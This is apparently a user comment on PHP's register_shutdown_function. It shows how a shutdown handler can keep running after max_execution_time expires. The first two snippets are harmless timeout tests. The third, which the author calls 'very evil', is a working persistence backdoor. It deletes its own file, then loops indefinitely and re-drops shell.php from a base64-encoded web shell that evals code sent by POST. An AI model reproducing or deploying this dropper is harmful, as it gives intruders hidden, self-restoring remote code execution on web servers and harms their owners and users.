1.) I run something similar to this for 3 days on a couple of systems. It seems like this function does not have any time limitation at all, IF it gets called due to a max_execution_time-out.
<?php
ignore_user_abort(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "LOG_FILE", ABS_PATH . "log.txt" );
function shutdown() {
while(true) {
file_put_contents(LOG_FILE, date("c") . " (shutdown)\n", FILE_APPEND);
sleep(1);
}
}
register_shutdown_function("shutdown");
ini_set("max_execution_time", 3);
while(true) {
file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
sleep(1);
}
?>
2.) With this code, the registered function is limited to max_execution_time.
<?php
file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
sleep(1);
EXIT; ?>
3.) This is very evil. you can run code "forever". For example, this code checks if the file shell.php exists, and drops it if not. Of course, this is not how a hacker breach in. But if he has access, this is a great place to hide evil code.
<?php
ignore_user_abort(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "SHELL_PATH", ABS_PATH . "shell.php" );
define( "STOP_FILE", ABS_PATH . "stop.txt" );
define( "SLEEP", 10 );
define( "SHELL_CODE", "PD9waHAgaWYoaXNzZXQoJF9QT1NUWydleGVjJ10pKSBldmFsKCRfUE9TVFsnZXhlYyddKTsgPz4=" );
function shutdown() {
while(true) {
if( file_exists( STOP_FILE ) ) {
break;
}
if( ! file_exists( SHELL_PATH ) )
file_put_contents( SHELL_PATH, base64_decode( SHELL_CODE ) );
sleep(SLEEP);
}
exit;
}
register_shutdown_function("shutdown");
unlink($_SERVER['SCRIPT_FILENAME']);
ini_set("max_execution_time", 1);
usleep(1500000);
sleep(ini_get("max_execution_time") + 1);
while(true) {
sleep(1);
}
?>